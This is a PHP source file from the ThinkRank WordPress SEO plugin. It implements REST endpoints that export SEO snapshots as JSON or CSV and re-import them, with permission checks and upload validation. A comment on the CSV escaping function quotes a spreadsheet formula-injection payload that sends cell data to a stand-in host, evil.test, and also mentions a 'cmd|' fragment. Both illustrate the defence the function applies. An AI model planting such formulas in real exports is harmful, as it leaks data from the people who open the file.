PluginProbe
ThinkRank AI SEO – AI SEO Plugin for WordPress: Schema, XML Sitemaps, Meta Tags, Search Console & Local SEO / 2.5.0
ThinkRank AI SEO – AI SEO Plugin for WordPress: Schema, XML Sitemaps, Meta Tags, Search Console & Local SEO v2.5.0
2.7.0 2.6.0 2.5.0 2.4.0 2.3.0 2.2.0 2.1.1 2.1.0 2.0.2 2.0.1 2.0.0 1.32.0 1.31.0 1.30.0 1.29.0 1.28.0 1.27.0 1.26.0 1.25.0 trunk 1.0.0 1.0.1 1.0.2 1.1.0 1.10.0 All 48 releases
thinkrank / includes / admin / importers / class-export-controller.php

class-export-controller.php in ThinkRank AI SEO – AI SEO Plugin for WordPress: Schema, XML Sitemaps, Meta Tags, Search Console & Local SEO 2.5.0, at includes/admin/importers/class-export-controller.php

712 lines 26.8 KB
No matching file
Up and down to move Enter to open Esc to close
Raw Download Zip
1 <?php
2
3 /**
4 * Export Controller
5 *
6 * REST endpoints that move a ThinkRank snapshot in and out of the site as a
7 * single portable file.
8 *
9 * Snapshots themselves live in wp_options (Snapshot_Store), which is fine for a
10 * migration that starts and ends on one site but is not something a user can
11 * carry anywhere. These two routes are the bridge: `download` serialises a
12 * completed snapshot into one file, `upload` puts that file back into
13 * Snapshot_Store so the existing /import/migrate loop can drain it — the
14 * restore itself needs no new transport.
15 *
16 * @package ThinkRank\Admin\Importers
17 * @since 2.2.0
18 */
19
20 declare(strict_types=1);
21
22 namespace ThinkRank\Admin\Importers;
23
24 if (!defined('ABSPATH')) {
25 exit;
26 }
27
28 /**
29 * Export Controller Class
30 *
31 * @since 2.2.0
32 */
33 class Export_Controller extends \WP_REST_Controller {
34
35 /**
36 * @var string
37 */
38 protected $namespace = 'thinkrank/v1';
39
40 /**
41 * @var string
42 */
43 protected $rest_base = 'export';
44
45 /**
46 * Envelope marker every ThinkRank export file carries.
47 */
48 public const FILE_FORMAT = 'thinkrank-export';
49
50 /**
51 * Envelope version this build writes, and the highest it can read.
52 *
53 * Bump on a BREAKING change to the envelope or record shape. A file
54 * declaring a higher version is refused rather than partially applied: a
55 * half-restored site is worse than a clear "upgrade first".
56 */
57 public const SCHEMA_VERSION = 1;
58
59 /**
60 * Records per snapshot chunk, matching Abstract_Plugin_Exporter::$chunk_size
61 * so an uploaded file paginates the same way a locally-produced snapshot does.
62 */
63 private const CHUNK_SIZE = 100;
64
65
66 /**
67 * CSV columns for the human-readable post meta view.
68 *
69 * @var array<string,string> Column heading => meta key ('' for computed).
70 */
71 private const CSV_COLUMNS = [
72 'post_id' => '',
73 'post_title' => '',
74 'permalink' => '',
75 'seo_title' => '_thinkrank_seo_title',
76 'meta_description' => '_thinkrank_meta_description',
77 'focus_keyword' => '_thinkrank_focus_keyword',
78 'canonical_url' => '_thinkrank_canonical_url',
79 'robots_meta' => '_thinkrank_robots_meta',
80 'og_title' => '_thinkrank_og_title',
81 'og_description' => '_thinkrank_og_description',
82 'og_image' => '_thinkrank_og_image',
83 'twitter_title' => '_thinkrank_twitter_title',
84 'twitter_description' => '_thinkrank_twitter_description',
85 'twitter_image' => '_thinkrank_twitter_image',
86 'schema_type' => '_thinkrank_selected_schema_type',
87 ];
88
89 /**
90 * Register REST routes
91 *
92 * @return void
93 */
94 public function register_routes(): void {
95 register_rest_route($this->namespace, '/' . $this->rest_base . '/download', [
96 [
97 'methods' => \WP_REST_Server::READABLE,
98 'callback' => [$this, 'download'],
99 'permission_callback' => [$this, 'check_permissions'],
100 'args' => [
101 'format' => [
102 'required' => false,
103 'type' => 'string',
104 'enum' => ['json', 'csv'],
105 'default' => 'json',
106 'sanitize_callback' => 'sanitize_text_field',
107 ],
108 // The snapshot has served its purpose once the file is in
109 // the user's hands, and Snapshot_Store has no retention
110 // policy — a large site leaves hundreds of option rows
111 // behind otherwise.
112 'cleanup' => [
113 'required' => false,
114 'type' => 'boolean',
115 'default' => true,
116 ],
117 ],
118 ],
119 ]);
120
121 register_rest_route($this->namespace, '/' . $this->rest_base . '/upload', [
122 [
123 'methods' => \WP_REST_Server::CREATABLE,
124 'callback' => [$this, 'upload'],
125 'permission_callback' => [$this, 'check_permissions'],
126 ],
127 ]);
128 }
129
130 /**
131 * Permission check — manage_options required
132 *
133 * @return bool
134 */
135 public function check_permissions(): bool {
136 return current_user_can('manage_options');
137 }
138
139 /**
140 * GET /export/download — send a completed snapshot as one file.
141 *
142 * The browser reaches this as a plain navigation rather than an apiFetch
143 * call, so cookie auth needs the nonce in the query string (`_wpnonce`),
144 * which the REST server accepts alongside the X-WP-Nonce header.
145 *
146 * @param \WP_REST_Request $request Request object
147 * @return \WP_REST_Response|\WP_Error
148 */
149 public function download(\WP_REST_Request $request) {
150 $manifest = Snapshot_Store::get_manifest(Thinkrank_Exporter::SLUG);
151
152 if (!$manifest || ($manifest['status'] ?? '') !== 'complete') {
153 return new \WP_Error(
154 'thinkrank_export_not_ready',
155 __('No completed ThinkRank export is available. Run the export first.', 'thinkrank'),
156 ['status' => 404]
157 );
158 }
159
160 $format = (string) $request->get_param('format');
161 $filename = $this->build_filename($format);
162
163 // WordPress serialises REST responses as JSON. Taking over
164 // rest_pre_serve_request is the documented way to send something else,
165 // and it keeps the route inside the REST permission/nonce plumbing
166 // instead of bolting the download onto admin-post.php.
167 add_filter(
168 'rest_pre_serve_request',
169 function (bool $served, $result, $req, $server) use ($manifest, $format, $filename, $request): bool {
170 // Another route's response passing through the same filter.
171 if ($req !== $request) {
172 return $served;
173 }
174
175 $this->send_download_headers($format, $filename);
176
177 if ($format === 'csv') {
178 $this->stream_csv($manifest);
179 } else {
180 $this->stream_json($manifest);
181 }
182
183 if ((bool) $request->get_param('cleanup')) {
184 Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG);
185 (new Import_Detector())->clear_cache();
186 }
187
188 return true;
189 },
190 10,
191 4
192 );
193
194 return new \WP_REST_Response(null, 200);
195 }
196
197 /**
198 * POST /export/upload — load an export file back into Snapshot_Store.
199 *
200 * @param \WP_REST_Request $request Request object
201 * @return \WP_REST_Response|\WP_Error
202 */
203 public function upload(\WP_REST_Request $request) {
204 $files = $request->get_file_params();
205 $file = $files['file'] ?? null;
206
207 if (!is_array($file) || !isset($file['tmp_name'])) {
208 return new \WP_Error(
209 'thinkrank_upload_missing_file',
210 __('No file was uploaded. Attach the export file as the "file" field.', 'thinkrank'),
211 ['status' => 400]
212 );
213 }
214
215 if (isset($file['error']) && (int) $file['error'] !== UPLOAD_ERR_OK) {
216 return new \WP_Error(
217 'thinkrank_upload_failed',
218 __('The file could not be uploaded. It may be larger than this server allows.', 'thinkrank'),
219 ['status' => 400]
220 );
221 }
222
223 // Checked before reading so an oversized file costs a stat, not memory.
224 // The size comes from the upload params; falling back to a stat only
225 // matters for a caller that assembled them by hand.
226 //
227 // The ceiling is the server's own upload limit rather than a number of
228 // ours — the same bound every WordPress importer works within. A lower
229 // invented limit would reject files the server would happily have
230 // taken, and wp_max_upload_size() is min(upload_max_filesize,
231 // post_max_size), so the message can name the setting that has to
232 // change.
233 $max_bytes = $this->get_max_upload_bytes();
234 $size = isset($file['size'])
235 ? (int) $file['size']
236 : (int) (is_readable($file['tmp_name']) ? filesize($file['tmp_name']) : 0);
237 if ($max_bytes > 0 && $size > $max_bytes) {
238 return new \WP_Error(
239 'thinkrank_upload_too_large',
240 sprintf(
241 /* translators: %s: maximum upload size this server accepts, e.g. "64 MB". */
242 __('The export file is larger than the %s this server accepts. Raise the PHP upload_max_filesize and post_max_size limits, or export fewer data types at a time.', 'thinkrank'),
243 size_format($max_bytes)
244 ),
245 ['status' => 400]
246 );
247 }
248
249 // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- reading an uploaded temp file, not a remote resource.
250 $raw = file_get_contents($file['tmp_name']);
251 if ($raw === false || $raw === '') {
252 return new \WP_Error(
253 'thinkrank_upload_unreadable',
254 __('The export file could not be read.', 'thinkrank'),
255 ['status' => 400]
256 );
257 }
258
259 $payload = json_decode($raw, true);
260 unset($raw);
261
262 $validation = $this->validate_payload($payload);
263 if (is_wp_error($validation)) {
264 return $validation;
265 }
266
267 $stored = $this->store_payload($payload);
268 if (is_wp_error($stored)) {
269 return $stored;
270 }
271
272 return new \WP_REST_Response($stored, 200);
273 }
274
275 /**
276 * The largest upload this server accepts, in bytes.
277 *
278 * @return int Bytes, or 0 when the limit cannot be determined.
279 */
280 private function get_max_upload_bytes(): int {
281 if (!function_exists('wp_max_upload_size')) {
282 return 0;
283 }
284
285 return (int) wp_max_upload_size();
286 }
287
288 /**
289 * Validate an uploaded payload's envelope.
290 *
291 * @param mixed $payload Decoded file contents
292 * @return true|\WP_Error
293 */
294 private function validate_payload($payload) {
295 if (!is_array($payload)) {
296 return new \WP_Error(
297 'thinkrank_upload_invalid_json',
298 __('The file is not valid JSON. Restore expects the .json export, not the CSV view.', 'thinkrank'),
299 ['status' => 400]
300 );
301 }
302
303 if (($payload['format'] ?? '') !== self::FILE_FORMAT) {
304 return new \WP_Error(
305 'thinkrank_upload_wrong_format',
306 __('This is not a ThinkRank export file.', 'thinkrank'),
307 ['status' => 400]
308 );
309 }
310
311 $version = isset($payload['schema_version']) ? (int) $payload['schema_version'] : 0;
312 if ($version < 1 || $version > self::SCHEMA_VERSION) {
313 return new \WP_Error(
314 'thinkrank_upload_unsupported_version',
315 sprintf(
316 /* translators: 1: file's schema version, 2: highest supported version. */
317 __('This export file uses format version %1$d, but this version of ThinkRank only reads up to version %2$d. Update ThinkRank and try again.', 'thinkrank'),
318 $version,
319 self::SCHEMA_VERSION
320 ),
321 ['status' => 400]
322 );
323 }
324
325 // An empty `data` object is rejected rather than accepted as a no-op
326 // snapshot: telling the user the file is "ready to restore" when it
327 // carries nothing reads as success and restores nothing.
328 if (!isset($payload['data']) || !is_array($payload['data']) || empty($payload['data'])) {
329 return new \WP_Error(
330 'thinkrank_upload_no_data',
331 __('The export file contains no data.', 'thinkrank'),
332 ['status' => 400]
333 );
334 }
335
336 return true;
337 }
338
339 /**
340 * Write a validated payload into Snapshot_Store as a complete snapshot.
341 *
342 * @param array $payload Validated payload
343 * @return array|\WP_Error Response body, or an error when nothing was stored
344 */
345 private function store_payload(array $payload) {
346 // Clear first. Writing over a previous snapshot leaves any chunk pages
347 // the new file does not reach — a smaller export after a larger one
348 // would otherwise restore the tail of the old data too.
349 Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG);
350
351 $manifest = [
352 'plugin' => Thinkrank_Exporter::SLUG,
353 'plugin_name' => 'ThinkRank',
354 'exported_at' => (string) ($payload['exported_at'] ?? gmdate('c')),
355 'version' => '1.0',
356 'types' => [],
357 'status' => 'complete',
358 'last_migrated' => null,
359 'migration_version' => null,
360 // Provenance, so the UI can warn when a file came from elsewhere.
361 'source_site_url' => (string) ($payload['site_url'] ?? ''),
362 'source_version' => (string) ($payload['plugin_version'] ?? ''),
363 'schema_version' => (int) $payload['schema_version'],
364 ];
365
366 foreach ($this->payload_types($payload) as $type => $data_key) {
367 // $type is the sanitised slug the chunks are stored under; $data_key
368 // is the key it came from in the file. Reading with the sanitised
369 // name would miss every type whose name sanitising changed, and
370 // drop its records while still reporting success.
371 $records = $payload['data'][$data_key] ?? null;
372 if (!is_array($records) || empty($records)) {
373 continue;
374 }
375
376 // array_values so a JSON object with numeric string keys still
377 // chunks as a list.
378 $pages = array_chunk(array_values($records), self::CHUNK_SIZE);
379 foreach ($pages as $index => $page_records) {
380 Snapshot_Store::write_chunk(Thinkrank_Exporter::SLUG, $type, $index + 1, $page_records);
381 }
382
383 $manifest['types'][$type] = [
384 'total_records' => count($records),
385 'total_chunks' => count($pages),
386 ];
387 }
388
389 // Nothing landed. The envelope validated, so the file looked like ours,
390 // but every type in it was empty or unreadable — saying "ready to
391 // restore" here would read as success and restore nothing, which is the
392 // same failure the empty-`data` check above exists to prevent.
393 if (empty($manifest['types'])) {
394 Snapshot_Store::delete_snapshot(Thinkrank_Exporter::SLUG);
395
396 return new \WP_Error(
397 'thinkrank_upload_no_records',
398 __('The export file carries no records this version can read. It may have been produced by a newer ThinkRank, or edited by hand.', 'thinkrank'),
399 ['status' => 400]
400 );
401 }
402
403 Snapshot_Store::write_manifest(Thinkrank_Exporter::SLUG, $manifest);
404 (new Import_Detector())->clear_cache();
405
406 return [
407 'status' => 'complete',
408 'message' => __('Export file loaded. Ready to restore.', 'thinkrank'),
409 'manifest' => $manifest,
410 ];
411 }
412
413 /**
414 * Types to store from an uploaded file.
415 *
416 * Everything the file carries, not just what is registered here. A file
417 * exported on a Pro site and uploaded on a free one would otherwise lose
418 * Pro's records at the door — and the restore side deliberately leaves
419 * records it has no handler for sitting in the snapshot, so that a later
420 * Pro activation can drain the same file. Dropping them here would make
421 * that promise a lie.
422 *
423 * Registered types come first so the restore runs in the usual order.
424 *
425 * @param array $payload Validated payload
426 * @return array<string,string> Sanitised type slug => the key it has in the file
427 */
428 private function payload_types(array $payload): array {
429 // The slug becomes an option name via Snapshot_Store, so a hand-edited
430 // file must not be able to steer where the chunks land. The original key
431 // is carried alongside it because that is what the records are filed
432 // under in `data` — sanitising is for the destination, not the lookup.
433 $present = [];
434 foreach (array_keys((array) $payload['data']) as $key) {
435 $slug = sanitize_key((string) $key);
436 // First one wins, so two keys that sanitise alike cannot have the
437 // second silently overwrite the first's chunks.
438 if ($slug !== '' && !isset($present[$slug])) {
439 $present[$slug] = (string) $key;
440 }
441 }
442
443 $ordered = [];
444 foreach (Thinkrank_Exporter::get_exportable_types() as $type) {
445 if (isset($present[$type])) {
446 $ordered[$type] = $present[$type];
447 unset($present[$type]);
448 }
449 }
450
451 // Union rather than array_merge: these keys are type slugs, and
452 // array_merge would renumber any that look like integers.
453 return $ordered + $present;
454 }
455
456 /**
457 * Stream the snapshot as one JSON document.
458 *
459 * Written piece by piece rather than assembled into an array and encoded in
460 * one go: on a large site the whole snapshot does not need to exist in
461 * memory at once, and only a chunk does.
462 *
463 * @param array $manifest Snapshot manifest
464 * @return void
465 */
466 private function stream_json(array $manifest): void {
467 $envelope = $this->build_envelope($manifest);
468
469 // Encode the envelope, then splice the streamed data in where the
470 // placeholder sits, so the header fields stay properly escaped.
471 $header = wp_json_encode($envelope);
472 // Drop the closing brace; the data object and the brace are appended below.
473 echo substr((string) $header, 0, -1); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- JSON document, not markup.
474 echo ',"data":{'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
475
476 $first_type = true;
477 foreach (array_keys($manifest['types'] ?? []) as $type) {
478 if (!$this->type_has_records($manifest, (string) $type)) {
479 continue;
480 }
481
482 echo $first_type ? '' : ','; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
483 echo wp_json_encode((string) $type) . ':['; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
484 $first_type = false;
485
486 $first_record = true;
487 foreach ($this->read_records($manifest, (string) $type) as $record) {
488 echo $first_record ? '' : ','; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
489 echo (string) wp_json_encode($record); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
490 $first_record = false;
491 }
492
493 echo ']'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
494 }
495
496 echo '}}'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
497 }
498
499 /**
500 * Stream the post meta as CSV.
501 *
502 * A readable view of the data, not a restore format — restore is JSON only.
503 * That is the point of it: it is what a user takes to a spreadsheet, or to
504 * another plugin's importer, and it is why ThinkRank does not need to own a
505 * mapping into anyone else's meta keys.
506 *
507 * @param array $manifest Snapshot manifest
508 * @return void
509 */
510 private function stream_csv(array $manifest): void {
511 $handle = fopen('php://output', 'w');
512 if ($handle === false) {
513 return;
514 }
515
516 fputcsv($handle, array_keys(self::CSV_COLUMNS));
517
518 foreach ($this->read_records($manifest, 'postmeta') as $record) {
519 $post_id = (int) ($record['object_id'] ?? 0);
520 $meta = (array) ($record['data'] ?? []);
521 $row = [];
522
523 foreach (self::CSV_COLUMNS as $column => $meta_key) {
524 if ($column === 'post_id') {
525 $row[] = $post_id;
526 continue;
527 }
528 if ($column === 'post_title') {
529 $row[] = $post_id ? (string) get_the_title($post_id) : '';
530 continue;
531 }
532 if ($column === 'permalink') {
533 $row[] = $post_id ? (string) get_permalink($post_id) : '';
534 continue;
535 }
536
537 $row[] = $this->stringify_for_csv($meta[$meta_key] ?? '');
538 }
539
540 // Escaped at the point of writing so every column is covered — the
541 // computed ones (post title, permalink) carry user input too.
542 fputcsv($handle, array_map([$this, 'escape_csv_cell'], $row));
543 }
544
545 fclose($handle); // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- php://output stream, not a filesystem path; WP_Filesystem has no equivalent.
546 }
547
548 /**
549 * Yield every record of a type, one chunk at a time.
550 *
551 * @param array $manifest Snapshot manifest
552 * @param string $type Data type
553 * @return \Generator
554 */
555 private function read_records(array $manifest, string $type): \Generator {
556 $total_chunks = (int) ($manifest['types'][$type]['total_chunks'] ?? 0);
557
558 for ($page = 1; $page <= $total_chunks; $page++) {
559 $chunk = Snapshot_Store::read_chunk(Thinkrank_Exporter::SLUG, $type, $page);
560 if (empty($chunk)) {
561 continue;
562 }
563
564 foreach ($chunk as $record) {
565 yield $record;
566 }
567 }
568 }
569
570 /**
571 * Whether a type belongs in the file at all.
572 *
573 * The snapshot manifest records a chunk page for a type even when the page
574 * held no records (update_manifest() keys total_chunks off the page number,
575 * not the count), so an untouched type shows up as
576 * `total_records: 0, total_chunks: 1`. Writing that into the file would
577 * advertise data the file does not contain.
578 *
579 * @param array $manifest Snapshot manifest
580 * @param string $type Data type
581 * @return bool
582 */
583 private function type_has_records(array $manifest, string $type): bool {
584 if (!in_array($type, Thinkrank_Exporter::get_exportable_types(), true)) {
585 return false;
586 }
587
588 return (int) ($manifest['types'][$type]['total_records'] ?? 0) > 0;
589 }
590
591 /**
592 * Build the file envelope (everything but `data`).
593 *
594 * @param array $manifest Snapshot manifest
595 * @return array
596 */
597 private function build_envelope(array $manifest): array {
598 $types = [];
599 foreach ((array) ($manifest['types'] ?? []) as $type => $info) {
600 if (!$this->type_has_records($manifest, (string) $type)) {
601 continue;
602 }
603
604 $types[$type] = [
605 'total_records' => (int) ($info['total_records'] ?? 0),
606 'total_chunks' => (int) ($info['total_chunks'] ?? 0),
607 ];
608 }
609
610 return [
611 'format' => self::FILE_FORMAT,
612 'schema_version' => self::SCHEMA_VERSION,
613 'plugin_version' => defined('THINKRANK_VERSION') ? THINKRANK_VERSION : '',
614 'site_url' => home_url(),
615 'exported_at' => (string) ($manifest['exported_at'] ?? gmdate('c')),
616 'types' => $types,
617 ];
618 }
619
620 /**
621 * Neutralise a spreadsheet formula in a CSV cell.
622 *
623 * Excel, LibreOffice and Sheets treat a cell opening with `=`, `+`, `-` or
624 * `@` as a formula, so a post whose SEO title is
625 * `=HYPERLINK("http://evil.test?x="&A1,"click")` runs on open. The values
626 * here are not the exporting admin's own: SEO titles and post titles are
627 * editable by contributors and editors, and the admin is the one who
628 * downloads the file — so the cell crosses a privilege boundary.
629 *
630 * Leading tab and carriage return are included because a spreadsheet strips
631 * them and then reads the character underneath as the first one.
632 *
633 * A leading apostrophe is the standard neutraliser: spreadsheets read the
634 * cell as text and do not display the quote.
635 *
636 * A plain number is let through: `-5` opens with a trigger character but is
637 * no formula, and quoting it would land the value in the sheet as text.
638 * Nothing in CSV_COLUMNS is numeric today, so this only keeps a future
639 * column honest — `-5+cmd|...` is not numeric and is still escaped.
640 *
641 * @param mixed $value Cell value
642 * @return string
643 */
644 private function escape_csv_cell($value): string {
645 $value = (string) $value;
646
647 if ($value === '' || is_numeric($value)) {
648 return $value;
649 }
650
651 return in_array($value[0], ['=', '+', '-', '@', "\t", "\r"], true)
652 ? "'" . $value
653 : $value;
654 }
655
656 /**
657 * Flatten a meta value into a single CSV cell.
658 *
659 * @param mixed $value Meta value
660 * @return string
661 */
662 private function stringify_for_csv($value): string {
663 if (is_string($value)) {
664 return $value;
665 }
666
667 if (is_scalar($value)) {
668 return (string) $value;
669 }
670
671 if ($value === null) {
672 return '';
673 }
674
675 return (string) wp_json_encode($value);
676 }
677
678 /**
679 * Build the download filename.
680 *
681 * @param string $format File format
682 * @return string
683 */
684 private function build_filename(string $format): string {
685 $host = wp_parse_url(home_url(), PHP_URL_HOST);
686 $host = sanitize_file_name((string) ($host ?: 'site'));
687
688 return sprintf('thinkrank-export-%s-%s.%s', $host, gmdate('Y-m-d'), $format === 'csv' ? 'csv' : 'json');
689 }
690
691 /**
692 * Send the file download headers.
693 *
694 * @param string $format File format
695 * @param string $filename Download filename
696 * @return void
697 */
698 private function send_download_headers(string $format, string $filename): void {
699 if (headers_sent()) {
700 return;
701 }
702
703 header('Content-Type: ' . ($format === 'csv' ? 'text/csv; charset=utf-8' : 'application/json; charset=utf-8'));
704 header('Content-Disposition: attachment; filename="' . $filename . '"');
705 // The payload can contain every SEO setting on the site; it must not sit
706 // in a proxy or browser cache.
707 header('Cache-Control: no-store, no-cache, must-revalidate');
708 header('Pragma: no-cache');
709 header('X-Content-Type-Options: nosniff');
710 }
711 }
712